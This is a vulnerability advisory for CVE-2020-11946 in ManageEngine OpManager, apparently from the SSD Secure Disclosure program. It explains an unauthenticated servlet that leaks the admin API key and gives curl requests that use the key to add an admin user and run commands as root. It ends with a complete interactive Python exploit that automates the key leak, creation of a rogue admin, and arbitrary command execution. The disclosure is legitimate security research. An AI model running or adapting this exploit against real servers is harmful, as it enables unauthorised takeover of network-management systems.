SSD Advisory – ManageEngine OpManager Unauthenticated Access API Key Access leads to RCE

Vulnerability Summary

ManageEngine OpManager is a central management software written in Java. A vulnerability in ManageEngine OpManager allows a remote attacker to leak the API key of the product (administrative level API key) which we can then use to execute remote commands with root privileges.

Credit

An independent Security Researcher, @kuncho, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

ManageEngine OpManager version 12.5.118 and prior.

CVE

CVE-2020-11946

Vendor Response

The vendor has released a patch to resolve this vulnerability: Unauthenticated access to API key disclosure from a servlet call.

Vulnerability Details

The servlet that leaks the admin API key is located at OpManagerIp/servlet/sendData, The Servlet is defined at line 840 in /opt/ManageEngine/OpManager/WEB-INF/web.xml as follows.

  <servlet>
    <servlet-name>sendData</servlet-name>
    <servlet-class>com.adventnet.la.enterprise.servlet.SendDataServlet</servlet-class>
  </servlet>

The class file for the servlet is found in a jar file located at /opt/ManageEngine/OpManager/lib/FirewallService.jar, the code path that causes the bug is shown below:

      public void doPost(final HttpServletRequest req, final HttpServletResponse res) throws ServletException, IOException {
          this.processRequest(req, res);
      }
  
      private void processRequest(final HttpServletRequest req, final HttpServletResponse res) {
          if (!"DS".equals(System.getProperty("server.type")) && !"fwacs".equals(req.getParameter("reqFrm"))) {
              System.out.println(" WARNING: Installation is not of type Distributed Server. ");
              return;
          }
          if ("DS".equals(System.getProperty("server.type")) && !this.isValidReq(req)) {
              SendDataServlet.LOGGER.log(Level.INFO, "Not a valid Request. Going to return");
              return;
          }
          res.resetBuffer();
          res.reset();
          final String adminBuild = req.getParameter("adminBuild");
          if (adminBuild != null) {
              *** snipped ***
          }
          OutputStream outStream = null;
          try {
              final String toProcess = req.getParameter("process");
              final String eeLicExStatus = req.getParameter("fwaDEcountEx");
              if ("applyLic".equals(toProcess)) {
                  *** snipped ***
              }
              else {
                  *** snipped ***
                  final boolean isCentralArchiveEnabled = "true".equals(req.getParameter("isCentralArchiveEnabled"));
                  final boolean isApikeyNeeded = "true".equals(req.getParameter("key"));
                  this.processCentralArchiveRequest(req);
                  outStream = (OutputStream)res.getOutputStream();
                  this.dataSyncHandler.sync(toProcess, null, outStream); //Bug ONE
                  if (isCentralArchiveEnabled) {
                      this.dataSyncHandler.sync("archive", null, outStream);
                  }
                  if (isApikeyNeeded) {
                      this.dataSyncHandler.sync("apikey", req.getParameter("user"), outStream); // Bug TWO
                  }
                  if (eeLicExStatus != null) {
                      FirewallConstants.setFwDELicStatus(eeLicExStatus);
                      this.invokeUIReload(eeLicExStatus);
                  }
              }
          }

As can we can clearly see from the above code, The servlet calls a function in the dataSyncHandler class with user controlled variables, The dataSyncHandler class has a function named sync which basically queries data from the server and sends it back to us. The first parameter to this function determines what type of data we request, In our case the argument is defined by us in the first call (bug number one) and it is set to apikey in the second call (bug number two). What’s more interesting is in bug number two, the servlet passes our user parameter to the function which allows us to grab the admin API key by setting that parameter to admin. The code for the dataSyncHandler is shown below for reference.

  // </opt/ManageEngine/OpManager/lib/FirewallService.jar>/com/adventnet/la/enterprise/dc/DefaultDataSynchronizer.java
  @Override
  public void sync(final String toProcess, final String addlParam, final OutputStream out) throws EnterpriseException {
    if ("sData".equals(toProcess)) {
      this.syncData(out);
    }
    else if ("apikey".equals(toProcess)) {
      this.getApikey(addlParam, out);
    }
    else if ("rPtr".equals(toProcess)) {
      this.clearAndUpdate(out);
    }
    else if ("del".equals(toProcess)) {
      this.saveDeletedInfo();
    }
    else if ("archive".equals(toProcess)) {
      this.syncArchive(out);
    }
    else {
    if (!"mstat".equals(toProcess)) {
      throw new EnterpriseException("Problem while syncing, Unknow entity " + toProcess + " passed for syncing");
    }
    DefaultDataSynchronizer.LOGGER.log(Level.INFO, "License count check from colletor to admin server");
      this.getLicStatus(out);
    }
  }
  
  private void getApikey(final String user, final OutputStream out) throws EnterpriseException {
      try {
          out.write("\nkey=Start\n".getBytes());
          out.write(FwaApiDBUtil.getInstance().getApikeyForUser(user).getBytes());
      }
      catch (Exception exp) {
          throw new EnterpriseException("Error occured while getting apikey", exp);
      }
  }

A curl request that triggers the bug is given below

  curl -v 'http://192.168.56.101:8060/servlet/sendData' -d 'reqFrm=fwacs&key=true&user=admin&process=apikey'

This would result in a response such as this:

  key=Start
  1a5072b0a1b3fb4a93008b52ffc0ab70
  key=Start
  882781cb3818e748404f059f09f246f3

>As a note, On opManager installs with build numbers prior to 123127 the sendData servlet does not exist. The same bug is found on those versions too though. The servlet name and the post data must be adjusted to the following to get the API key. The attached POC automatically checks the build version and uses the right servlet:

  curl -v 'http://172.17.0.2:80/oputilsServlet' -d 'action=getAPIKey'

A sample API request to list all the users in the system, with output:

  curl 'http://192.168.56.101:8080/api/json/nfausers/getAllUsers?apiKey=882781cb3818e748404f059f09f246f3'
  
  [{"uID":1,"currentUser":true,"uName":"admin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"11 Apr 2020 06:13:47 PM UTC"},{"uID":2,"currentUser":false,"uName":"trialuserlogin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"Not Available"}]

After the API key has been obtained, qe can use it to add an admin user and execute remote command using the notification profile test functionality. The notification profile test command execution is not a bug but an option to run a command when an event is triggered.

A sample API request to add a new admin user is given below:

  curl -k 'http://192.168.56.101:8080/api/json/v2/admin/addUser' -d 'userName=support&privilege=Administrator&emailId=mail%40localhost.net&landLine=&mobileNo=&sipenabled=true&tZone=undefined&allDevices=true&authentication=local&fwaresources=&raMode=0&ncmallDevices=&password=P@ssw0rd&apiKey=882781cb3818e748404f059f09f246f3'
  
  {"result":{"message":"User has been successfully added."}}

A request (After logging in with the new user) that will trigger the RCE is shown below (command is run as root):

  curl 'http://192.168.56.101:8080/client/api/json/admin/testNProfile' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-ZCSRF-TOKEN: opmcsrftoken=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' -H 'Cookie: signInAutomatically=true; JSESSIONID=2B0F9568F1730E05146C499F7EA9ACF3; CountryName=ETHIOPIA; NFA__SSO=D74EBE20D409F2C084EEDFF89F818F42; A07A2ABA1A105DA969183132185534A8=MzU0NjIzZDBmMWNlNmEyZjc1OTAyMmE2OWFmOWM5NzI4NjQ0MTAzNmEyOWQ5ODhlZDU2MDNjYTdmMGM0M2U0OGJhNGQwMWI1YjUxNmQzMTY5YjU2YmVkMjFhZDFiMDcwNmU0ZTAzODZjNjUyMTZkNDZhMTM0NzhiMjc3Y2UwODkwYTNjNzBjNzgyNTE1NzlhZmJhYTg1NTdlYTYyOGUyOGQ4ZGI1ZGEx; opmcsrfcookie=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' --data '&append=true&command=id>/tmp/PWNED&selectedseverities=1,2,3,4&checkedhardwareMonitor=true&selectAllhardwareMonitor=true&selectedDevicesStr=127.0.0.53&twoption=All&profileType=Run System Command&name=POP'
  
  {"result":{"message":"Test Action Is Successful"}}

Demo

Exploit

The included with exploit to create a full command execution from the API key leak

#!/usr/bin/python2

import requests
import sys
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class OpManagerExploit():
    def __init__(self,url):
        self.url = url
        self.ver = None
        self.api_key = False

    def FindVer(self):
        ver_req = requests.get(self.url+'/js/%2e%2e/html/About.properties',verify=False,allow_redirects=False)
        if ver_req.status_code != 200:
            print '[-] Unexpected response to fingerprinting request, Bailing.'
            return False
        if ver_req.text.find('BUILD_NUMBER') == -1 or ver_req.text.find('BUILD_VERSION') == -1:
            print '[-] Unable to read OpManager version, Bailing'
            return False
        t = ver_req.text
        self.ver = int(t[t.find('BUILD_NUMBER')+13:t.find('\n',t.find('BUILD_NUMBER'))].strip())
        print '\n[+] Build version of opManager is {}'.format(self.ver)
        print '[+] Found OpManager Version {}'.format(t[t.find('BUILD_VERSION')+13:t.find('\n',t.find('BUILD_VERSION'))].strip())
    
    def LeakApiKey(self):
        if self.ver >= 123127:
            leak_d = {'reqFrm':'fwacs','key':'true','user':'admin','process':'apikey'}
            leak_r = requests.post(self.url+'/servlet/sendData',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            
            if leak_r.text.find('key=Start') == -1:
                print '[-] Invalid response in LeakApiKey()'
                return False
            
            d = leak_r.text
            api_key = d[d.find('key=Start',d.find('key=Start')+11)+10:].strip()
            print '[+] Got API Key {}'.format(api_key)
            return api_key
        else:
            leak_d = {'action':'getAPIKey'}
            leak_r = requests.post(self.url+'/oputilsServlet',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            d = leak_r.text
            if d.find('API_KEY=') == -1:
                print '[-] Failed to extract API key'
                return False
            api_key = d[d.find('API_KEY=')+8:d.find('\n',d.find('API_KEY='))]
            print '[+] Got API Key {}'.format(api_key)
            return api_key

    def AddUser(self,interact=False):
        
        if self.api_key is False:
            print '[+] Leaking API key to add a new user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to add a user'
                return False
        
        if interact == True:
            username = raw_input('Username > ')
            password = raw_input('Password > ')
        else:
            username = 'support@localhost.net'
            password = 'P@ssw0rd'
        
        print '[+] Adding a new admin user'
        #add_d = {'userName':username,'privilege':'Administrator','emailId':'mail@localhost.net','sipenabled':'true', 'tZone':'undefined','authentication':'local','raMode':'0','password':password,'apiKey':self.api_key}
        add_d = 'userName='+username+'&privilege=Administrator&emailId=mail@localhost.net&sipenabled=true&tZone=undefined&authentication=local&raMode=0'+'&apiKey='+self.api_key
        print "url: {}, add_d: {}".format(self.url, add_d)
        add_r = requests.post(self.url+'/api/json/v2/admin/addUser?'+add_d,files={'password':(None, password)},verify=False,headers={'Accept':'application/json'})
        if add_r.status_code != 200:
            print '[-] Failed to add a new user, invalid response'
            return False
        else:
            try:
                resp = json.loads(add_r.text)
            except:
                print '[-] Failed to add user, Invalid response data'
                print "add_r: {}".format(add_r.content)
                return False
            if resp.keys()[0] == 'error':
                print '[+] Error {} while adding user'.format(resp['error']['message'])
                return False
            else:
                print '[+] Success, Response from server: {}'.format(resp['result']['message'])
                return True
    
    def DeleteUser(self,interact=False):
        if self.api_key is False:
            print '[+] Leaking API key to delete a user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to delete a user'
                return False
        if interact == True:
            username = raw_input('Username to delete> ')
        else:
            username = 'support@localhost.net'
        
        users_list = requests.get(self.url+'/api/json/nfausers/getAllUsers?apiKey='+self.api_key,verify=False).text
        try:
            usl = json.loads(users_list)
        except:
            print '[-] Failed to obtain user list'
            return False
        
        user_id = None
        for u in usl:
            if u['uName'] == username:
                user_id = int(u['uID'])
                print '[+] Found user id {}'.format(user_id)
                break
        
        if user_id is None:
            print '[-] Username not found '
            return False
        
        del_r = requests.post(self.url+'/api/json/admin/deleteUser',verify=False, data = {'userId':user_id,'apiKey':self.api_key})
        if del_r.status_code == 200 and json.loads(del_r.text).keys()[0] != 'error':
            print '[+] User deleted successfully'
            return True
        else:
            print '[-] User deletion Failed.'
            return False

    def ExecuteCommand(self):
        if self.api_key is False:
            print '[+] Leaking API key for RCE'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api for RCE'
                return False
        if self.AddUser() is False:
            print '[-] Failed to add user for RCE'
            return False
        
        print '[+] Loggin in with the added user'
        login_dat = {'AUTHRULE_NAME':'Authenticator','clienttype':'html','ScreenWidth':'1920','ScreenHeight':'602','loginFromCookieData':'false','ntlmv2':'false','j_username':'support@localhost.net','j_password':'P@ssw0rd','signInAutomatically':'on','uname':''}
        sess = requests.Session()
        sess.get(self.url+'/apiclient/ember/Login.jsp',verify=False,allow_redirects=False)
        login_r = sess.post(self.url+'/apiclient/ember/j_security_check',data=login_dat,verify=False)
        if login_r.status_code != 200 or (self.ver >= 123127 and 'opmcsrfcookie' not in sess.cookies.get_dict().keys()) or (self.ver < 123127  and login_r.text.find('selectLocalLogin()') != -1):
            print '[+] Login Failed...'
            self.DeleteUser()
            return False
        
        print '[+] Login Successful.'

        command = raw_input('Command to execute> ')
        if self.ver > 123127:
            cmd_d = {'append':'true','command':command,'selectedseverities':'1,2,3,4','checkedhardwareMonitor':'true','selectAllhardwareMonitor':'true','selectedDevicesStr':'127.0.0.53','twoption':'All','profileType':'Run System Command','name':'POP'}
            headers = {'X-ZCSRF-TOKEN': 'opmcsrftoken='+sess.cookies.get_dict()['opmcsrfcookie']}
            cmd_r = sess.post(self.url+'/client/api/json/admin/testNProfile',headers=headers,verify=False,data=cmd_d,allow_redirects=False)
        else:
            cmd_d = {'command':command,'selectedseverities':'1,2,3,4','checkeddevicemissespolls':'true','noofpolls':'1','deviceCategory':'iv_12','twoption':'All','profileType':'Run System Command','name':'as'}
            cmd_r = sess.post(self.url+'/api/json/admin/testNProfile?apiKey='+self.api_key,verify=False,data=cmd_d,allow_redirects=False)
        try:
            output = json.loads(cmd_r.text)
        except:
            print '[-] Invalid Response data from RCE request'
            self.DeleteUser()
            return False
        if output.keys()[0] == 'result':
            print '[+] Command successfully executed: {}'.format(output)
        print '[+] Done with RCE, Cleaning up user'
        self.DeleteUser()
        return True

    def Exploit(self):
        print '[+] Starting Exploit\n[+] Please choose operation'
        print '\t1) Execute Shell Command\n\t2) Add an admin user\n\t3) Delete a user\n\t4) Leak admin API Key'
        ch = raw_input("Choice> ")
        if ch == '1':
            self.ExecuteCommand()
        elif ch == '2':
            self.AddUser(interact=True)
        elif ch == '3':
            self.DeleteUser(interact=True)
        elif ch == '4':
            self.LeakApiKey()
        else:
            print '[-] wth is {}'.format(ch)

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print '[+] Usage: {} <url>'.format(sys.argv[0])
        exit(1)
    ex = OpManagerExploit(sys.argv[1].strip())
    if ex.FindVer() == False:
        exit(1)
    
    ex.Exploit()
Comments

Leave a Reply

Your email address will not be published. Required fields are marked *